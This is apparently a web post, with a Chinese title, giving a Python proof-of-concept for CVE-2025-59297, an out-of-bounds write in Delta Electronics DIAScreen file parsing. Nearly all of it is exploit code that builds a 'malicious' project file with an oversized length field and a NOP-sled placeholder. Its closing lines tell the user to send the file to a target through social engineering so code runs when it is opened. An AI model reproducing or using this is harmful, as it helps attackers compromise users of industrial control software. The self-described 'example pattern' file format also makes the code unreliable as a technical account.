CVE-2025-59297：Delta Electronics DIAScreen文件解析越界写入漏洞

# CVE-2025-59297 - Delta Electronics DIAScreen Out-of-Bounds Write PoC # This is a conceptual PoC demonstrating the vulnerability pattern # The actual exploit requires a valid DIAScreen project file with manipulated fields import struct # Header magic bytes for a DIAScreen project file (example pattern) HEADER_MAGIC = b'DIAS' def create_malicious_file(output_path): """ Create a malicious DIAScreen file that triggers the out-of-bounds write. The vulnerability exists in the file parsing module where user-supplied length/size fields are not properly validated before being used in memory writes. """ data = bytearray() # File header data += HEADER_MAGIC data += struct.pack('<I', 0x00010000) # Version field # Section: Object descriptor with manipulated length field # The parser reads this length and uses it to allocate/write memory # Setting it to an abnormally large value triggers OOB write data += struct.pack('<I', 0x0A) # Section type: object descriptor data += struct.pack('<I', 0xFFFFFFFF) # Malicious length - triggers OOB write # Payload data - shellcode or controlled data to be written OOB # In a real exploit, this would be carefully crafted to overwrite # return addresses or function pointers for code execution payload = b'\x90' * 256 # NOP sled placeholder payload += b'\x41' * 256 # Controlled data data += payload # Additional sections to make file appear valid data += struct.pack('<I', 0xFF) # End marker with open(output_path, 'wb') as f: f.write(data) print(f"[*] Malicious file created: {output_path}") print(f"[*] File size: {len(data)} bytes") print("[!] When opened in vulnerable DIAScreen, this triggers CVE-2025-59297") if __name__ == "__main__": create_malicious_file("malicious_diascreen.dsp") print("[*] Send this file to a target using social engineering") print("[*] When target opens it in DIAScreen, code executes in process context")